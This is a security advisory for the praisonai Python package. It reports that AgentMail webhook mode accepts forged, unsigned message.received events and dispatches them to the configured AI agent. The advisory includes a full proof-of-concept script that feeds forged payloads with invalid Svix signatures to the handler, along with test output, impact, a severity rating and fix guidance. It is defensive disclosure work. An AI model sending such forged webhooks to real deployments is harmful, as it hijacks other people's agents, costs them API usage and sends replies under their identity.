GHSA-7c92-x8vg-4258: High severity pip/praisonai vulnerability

Published Oct 7, 2026
·
Updated

AgentMail webhook mode accepts forged unsigned message.received events and invokes agents

Summary

praisonai AgentMail webhook mode exposes a public aiohttp webhook endpoint that accepts caller-controlled message.received JSON without verifying AgentMail's Svix webhook signatures, then dispatches the forged message into the configured agent session and reply path.

Technical Details

The affected boundary is webhook authenticity. AgentMail's webhook verification documentation says AgentMail delivers webhooks through Svix and includes svix-id, svix-timestamp, and svix-signature headers. Receivers are expected to verify the raw request body with the endpoint signing secret, commonly stored as AGENTMAILWEBHOOKSECRET, before trusting the event body. AgentMail's documented verified payload examples route on eventtype; the forged payload below intentionally uses PraisonAI's accepted handler shape, type plus data, because that is the shape handleemailwebhook() accepts before any signature verification.

src/praisonai/praisonai/bots/agentmail.py exposes webhook mode through AgentMailBot(mode=...) or a BotConfig whose mode is webhook. In startwebhookmode(), PraisonAI registers POST {webhookpath} and binds the aiohttp site to 0.0.0.0 on the configured webhook port. When config.webhookurl is set, the same method calls client.webhooks.create(url=..., eventtypes=["message.received"], inboxids=...), but it does not store or use the returned webhook secret.

The handler then trusts the parsed JSON body. handleemailwebhook() calls await request.json(), reads body.get("type", ""), and if the value is message.received, schedules processwebhookpayload(body) and returns 200 OK. It does not read the raw body, inspect request headers, verify svix-id, verify svix-timestamp, verify svix-signature, or check any webhook secret before scheduling the event.

processwebhookpayload() builds a BotMessage from attacker-controlled JSON fields: data.messageid, data.from/data.from, data.subject, data.extractedtext/data.text, data.threadid, and data.inreplyto. It then calls handlemessage(message). handlemessage() fires message hooks, calls self.session.chat(self.agent, senderid, body, ...), and, when the agent returns a response, attempts to reply to the attacker-controlled sender address through AgentMail.

This report is scoped to AgentMail webhook mode. It does not claim that the default polling path or WebSocket path is affected. The WebSocket path receives typed MessageReceivedEvent instances from the AgentMail SDK connection; the webhook path exposes a public HTTP receiver and therefore needs an independent signature check before parsing/trusting the event.

PoV

the PoV calls the webhook handler directly with fake request objects. It does not bind a port, contact AgentMail, send email, or use live credentials.

The forged JSON uses PraisonAI's accepted webhook-handler shape: a top-level type field with value message.received and a nested data object. This is not presented as the canonical signed AgentMail payload shape; AgentMail's verification documentation shows verified messages using eventtype after Svix verification. The issue is that PraisonAI accepts the unauthenticated type/data body and dispatches it before verifying that the request came from AgentMail.

Essential PoV excerpt:

python class FakeRequest: def init(self, body, headers=None, jsonerror=False): self.body = body self.headers = headers or {} self.jsonerror = jsonerror

async def json(self): if self.jsonerror: raise ValueError("invalid json") return self.body

bot = AgentMailBot( token="amlocaltest", agent=object(), inboxid="assistant@example.test", config=BotConfig(mode="webhook", webhookpath="/webhook"), ) bot.inboxid = "assistant@example.test" bot.emailaddress = "assistant@example.test" bot.config = {} bot.session = RecordingSession()

payload = { "type": "message.received", "data": { "messageid": "msg-forged-invalid-svix", "from": "attacker@example.test", "subject": "Forged invalid signature", "extractedtext": "invalid signature forged body", }, } headers = { "svix-id": "msgbad", "svix-timestamp": "1", "svix-signature": "v1,definitely-invalid", }

response = await bot.handleemailwebhook(FakeRequest(payload, headers=headers)) await asyncio.sleep(0)

Expected vulnerable behavior: the response status is 200, the invalid Svix signature is ignored, and the fake session records one agent call with senderid set to attacker@example.test and body set to invalid signature forged body.

PoC

Current head tested:

text 846568c7a5d8ce9e71e56e4c213f027c04909753

Run against a local checkout of current head:

fish python3 povagentmailwebhookforgery.py --repo /path/to/PraisonAI --label current-head-846568c

Decisive current-head output:

json { "label": "current-head-846568c", "vulnerable": true, "cases": { "forgedunsignedmessage": { "httpstatus": 200, "sessiondelta": 1, "senddelta": 1 }, "forgedinvalidsvixsignature": { "httpstatus": 200, "sessiondelta": 1, "senddelta": 1 }, "invalidjsoncontrol": { "httpstatus": 400, "sessiondelta": 0 }, "nonmessageeventcontrol": { "httpstatus": 200, "sessiondelta": 0 }, "duplicatemessagecontrol": { "httpstatus": 200, "sessiondelta": 0 } } }

Run against the latest release tag observed during testing:

fish python3 povagentmailwebhookforgery.py --repo /path/to/PraisonAI-v4.6.62 --label v4.6.62-2a855c47

Decisive v4.6.62 output:

json { "label": "v4.6.62-2a855c47", "vulnerable": true, "cases": { "forgedunsignedmessage": { "httpstatus": 200, "sessiondelta": 1, "senddelta": 1 }, "forgedinvalidsvixsignature": { "httpstatus": 200, "sessiondelta": 1, "senddelta": 1 }, "invalidjsoncontrol": { "httpstatus": 400, "sessiondelta": 0 }, "nonmessageeventcontrol": { "httpstatus": 200, "sessiondelta": 0 }, "duplicatemessagecontrol": { "httpstatus": 200, "sessiondelta": 0 } } }

Interpretation: forged unsigned webhook JSON and forged webhook JSON with invalid Svix headers both return 200 and reach the agent session once. Invalid JSON returns 400 without an agent call, non-message.received events are ignored, and repeated messageid values are deduplicated. The controls prove the handler is executing the intended branch and that the issue is specifically missing webhook authenticity verification before the agent dispatch branch.

Impact

If a PraisonAI operator exposes AgentMail webhook mode, any network caller who can reach the webhook URL can spoof incoming AgentMail email events and invoke the configured PraisonAI agent as an arbitrary sender. The attacker controls the message id, sender address, subject, body text, and thread metadata consumed by the bot.

The concrete boundary crossed is unauthenticated remote agent invocation through forged AgentMail webhook events. Downstream impact depends on the deployed agent and tools. PraisonAI bot defaults can include model calls and safe auto-approved tools, so this can cause unauthorized model/API usage, forged workflow input, replies under the AgentMail inbox identity, and confidentiality or integrity impact when the configured agent has access to sensitive context or tools.

This report does not claim arbitrary code execution by default, compromise of AgentMail itself, or bypass of the default poll mode.

Suggested severity: High. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (8.6). Suggested CWEs: CWE-347 Improper Verification of Cryptographic Signature, CWE-306 Missing Authentication for Critical Function, and CWE-287 Improper Authentication.

Suggested Fix

Fail closed for AgentMail webhook mode unless a webhook signing secret is configured. Store the AgentMail webhook secret returned by client.webhooks.create(...), or require an explicit agentmailwebhooksecret/AGENTMAILWEBHOOKSECRET configuration value for existing webhook endpoints.

Verify the raw request body with the official Svix verifier before JSON parsing is trusted. Reject missing, malformed, stale, or invalid svix-id, svix-timestamp, and svix-signature headers before scheduling processwebhookpayload(). Do not use await request.json() as the verification input; signature verification needs the exact raw body bytes.

Suggested regression tests:

- webhook mode without a configured signing secret refuses startup or returns 401/400 for message.received; - missing Svix headers do not call processwebhookpayload(); - invalid Svix signature does not call processwebhookpayload(); - stale timestamp does not call processwebhookpayload(); - valid Svix signature for the raw body reaches processwebhookpayload(); - duplicate messageid behavior remains intact after verification succeeds.

Affected Package/Versions

Affected package: pypi:praisonai.

Latest PyPI version observed during testing: 4.6.62. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected. Latest release tag v4.6.62 at commit 2a855c470077c7d2e2479a575f7ef7f548d51c33 is affected.

Sampled tag sweep:

text v4.4.12 agentmailabsent v4.5.16 agentmailabsent v4.5.128 presentunsignedwebhook v4.6.33 presentunsignedwebhook v4.6.58 presentunsignedwebhook v4.6.59 presentunsignedwebhook v4.6.60 presentunsignedwebhook v4.6.62 presentunsignedwebhook current presentunsignedwebhook

Conservative suggested affected range: AgentMail webhook-bearing praisonai releases at least >= 4.5.128, <= 4.6.62, plus current head. The component was absent in sampled tags v4.4.12 and v4.5.16. No fixed version or fix commit was observed.

Advisory History

Visible PraisonAI advisories were checked for the same root cause, affected entrypoint, and exploit preconditions. No exact duplicate was found for AgentMail webhook mode accepting unsigned or invalid-Svix message.received events and dispatching them into AgentMailBot.handlemessage().

Nearby advisories are distinct:

- GHSA-fc26-m9pf-v56q, "PraisonAI LinearBot processes unsigned webhooks when LINEARWEBHOOKSECRET is missing", covers the Linear integration and a fail-open missing-secret condition. This report covers AgentMail webhook mode, a different integration, different handler, different provider signature scheme, and no visible webhook-secret validation path. - GHSA-x92v-rpx6-p6cw, "Webhook signature verification skipped (fail-open) when secret unset, allowing forged inbound webhooks (WhatsApp & Linear bots)", covers WhatsApp/Linear webhook verification fail-open behavior. This report covers AgentMail and Svix-backed AgentMail webhook delivery. - GHSA-qvpf-j64c-jmhr, "PraisonAI Slack appmention bypasses configured user/channel authorization", covers Slack event authorization, not AgentMail webhook authenticity. - GHSA-vg22-4gmj-prxw / CVE-2026-47391 cover unauthenticated A2A message/send, not AgentMail webhooks. - GHSA-86qc-r5v2-v6x6 covers the call server token gap, not AgentMail webhook delivery.

Public Platform authorization advisories cover Platform RBAC/IDOR classes such as object ownership and workspace authorization. They do not cover AgentMail webhook authenticity or the AgentMail message.received dispatch path.

References

- AgentMail webhook verification documentation: https://www.agentmail.to/docs/webhook-verification - AgentMail create webhook API reference: https://www.agentmail.to/docs/api-reference/webhooks/create - PraisonAI LinearBot webhook advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-fc26-m9pf-v56q - PraisonAI WhatsApp/Linear webhook fail-open advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x92v-rpx6-p6cw - PraisonAI Slack authorization advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qvpf-j64c-jmhr - MITRE CWE-347: https://cwe.mitre.org/data/definitions/347.html - MITRE CWE-306: https://cwe.mitre.org/data/definitions/306.html - MITRE CWE-287: https://cwe.mitre.org/data/definitions/287.html

Appendix A - Full PoV Script

python #!/usr/bin/env python3 """PoV for PraisonAI AgentMail webhook authenticity.

The script calls the AgentMail webhook handler directly with fake aiohttp requests. It does not bind a port, contact AgentMail, or send email. """

from future import annotations

import argparse import asyncio import json import sys import types from pathlib import Path from typing import Any

class FakeResponse: def init(self, status: int = 200, text: str = "", contenttype: str | None = None): self.status = status self.text = text self.contenttype = contenttype

class FakeRequest: def init(self, body: dict[str, Any] | None, headers: dict[str, str] | None = None, jsonerror: bool = False): self.body = body self.headers = headers or {} self.jsonerror = jsonerror

async def json(self) -> dict[str, Any]: if self.jsonerror: raise ValueError("invalid json") return self.body or {}

class RecordingSession: def init(self) -> None: self.calls: list[dict[str, Any]] = []

async def chat(self, agent: object, senderid: str, body: str, kwargs: Any) -> str: self.calls.append( { "senderid": senderid, "body": body, "chatid": kwargs.get("chatid"), "messageid": kwargs.get("messageid"), "account": kwargs.get("account"), } ) return "local agent response"

def installfakeaiohttp() -> None: web = types.SimpleNamespace(Response=FakeResponse) sys.modules["aiohttp"] = types.SimpleNamespace(web=web)

def configureimportpath(repo: Path) -> None: sys.path.insert(0, str(repo / "src" / "praisonai")) sys.path.insert(0, str(repo / "src" / "praisonai-agents"))

async def runcase(bot: Any, request: FakeRequest, sleepticks: int = 2) -> dict[str, Any]: beforecalls = len(bot.session.calls) beforesends = len(bot.sentmessages) response = await bot.handleemailwebhook(request) for in range(sleepticks): await asyncio.sleep(0) return { "httpstatus": response.status, "sessiondelta": len(bot.session.calls) - beforecalls, "senddelta": len(bot.sentmessages) - beforesends, "sessioncalls": bot.session.calls[beforecalls:], "sentmessages": bot.sentmessages[beforesends:], }

async def mainasync(repo: Path, label: str) -> dict[str, Any]: installfakeaiohttp() configureimportpath(repo)

from praisonai.bots.agentmail import AgentMailBot from praisonaiagents.bots import BotConfig

bot = AgentMailBot( token="amlocaltest", agent=object(), inboxid="assistant@example.test", config=BotConfig(mode="webhook", webhookpath="/webhook"), ) bot.inboxid = "assistant@example.test" bot.emailaddress = "assistant@example.test" bot.config = {} bot.session = RecordingSession() bot.sentmessages = []

async def fakesendmessage(kwargs: Any) -> None: bot.sentmessages.append(kwargs)

bot.sendmessage = fakesendmessage

invalidsvixheaders = { "svix-id": "msgbad", "svix-timestamp": "1", "svix-signature": "v1,definitely-invalid", }

cases: dict[str, Any] = {} cases["forgedunsignedmessage"] = await runcase( bot, FakeRequest( { "type": "message.received", "data": { "messageid": "msg-forged-unsigned", "from": "attacker@example.test", "subject": "Forged unsigned message", "extractedtext": "unsigned forged body", }, } ), ) cases["forgedinvalidsvixsignature"] = await runcase( bot, FakeRequest( { "type": "message.received", "data": { "messageid": "msg-forged-invalid-svix", "from": "attacker@example.test", "subject": "Forged invalid signature", "extractedtext": "invalid signature forged body", }, }, headers=invalidsvixheaders, ), ) cases["invalidjsoncontrol"] = await runcase(bot, FakeRequest(None, jsonerror=True)) cases["nonmessageeventcontrol"] = await runcase( bot, FakeRequest( { "type": "domain.verified", "data": { "messageid": "msg-non-message", "from": "attacker@example.test", "extractedtext": "should not be processed", }, } ), ) cases["duplicatemessagecontrol"] = await runcase( bot, FakeRequest( { "type": "message.received", "data": { "messageid": "msg-forged-invalid-svix", "from": "attacker@example.test", "subject": "Duplicate", "extractedtext": "duplicate should not create a second call", }, }, headers=invalidsvixheaders, ), )

vulnerable = ( cases["forgedunsignedmessage"]["httpstatus"] == 200 and cases["forgedunsignedmessage"]["sessiondelta"] == 1 and cases["forgedinvalidsvixsignature"]["httpstatus"] == 200 and cases["forgedinvalidsvixsignature"]["sessiondelta"] == 1 and cases["invalidjsoncontrol"]["httpstatus"] == 400 and cases["invalidjsoncontrol"]["sessiondelta"] == 0 and cases["nonmessageeventcontrol"]["sessiondelta"] == 0 and cases["duplicatemessagecontrol"]["sessiondelta"] == 0 )

return { "label": label, "repo": str(repo), "vulnerable": vulnerable, "finding": "AgentMail webhook handler accepts unsigned and invalid-Svix message.received events and dispatches them to the agent session", "cases": cases, }

def main() -> int: parser = argparse.ArgumentParser() parser.addargument("--repo", type=Path, required=True) parser.addargument("--label", default="current-head") args = parser.parseargs() result = asyncio.run(mainasync(args.repo.resolve(), args.label)) print(json.dumps(result, indent=2, sortkeys=True)) return 0 if result["vulnerable"] else 1

if name == "main": raise SystemExit(main())

Affected Software

1 affected componentFixes available
pip/praisonai<=4.6.77
4.6.78

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/praisonai to a version that resolves this vulnerability.

    Fixed in 4.6.78
  2. Configuration

    Configure the AgentMail webhook signing secret using AGENTMAIL_WEBHOOK_SECRET or agentmail_webhook_secret, and verify the exact raw request body with the official Svix verifier before parsing or scheduling message.received events. Reject requests with missing, malformed, stale, or invalid svix-id, svix-timestamp, or svix-signature headers.

    PraisonAI AgentMail webhook mode Svix webhook signature verification = enabled; fail closed when AGENTMAIL_WEBHOOK_SECRET is not configured

Event History

Oct 7, 2026
Advisory Published
via GitHub·02:07 PM
Data Sourced
via GitHub·02:07 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed?

Deployments using AgentMailBot with mode set to webhook, or a BotConfig with mode set to webhook, expose the affected webhook handling path. The issue concerns the public aiohttp webhook endpoint used in that mode.

2

What does an attacker need to exploit this?

An attacker only needs network access to the public webhook endpoint and can submit a caller-controlled message.received JSON payload. The endpoint accepts the payload without validating AgentMail's Svix webhook signature headers.

3

What can be done if patching is not immediately possible?

Do not trust webhook event bodies unless the receiver verifies the raw request body using the AgentMail endpoint signing secret and the svix-id, svix-timestamp, and svix-signature headers. The signing secret is commonly stored as AGENTMAIL_WEBHOOK_SECRET.

4

How can I identify whether a deployment uses the affected path?

Review bot configuration and application code for AgentMailBot(mode="webhook") or a BotConfig whose mode is webhook. Also check whether the application exposes the AgentMail aiohttp webhook endpoint to a network accessible by untrusted callers.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203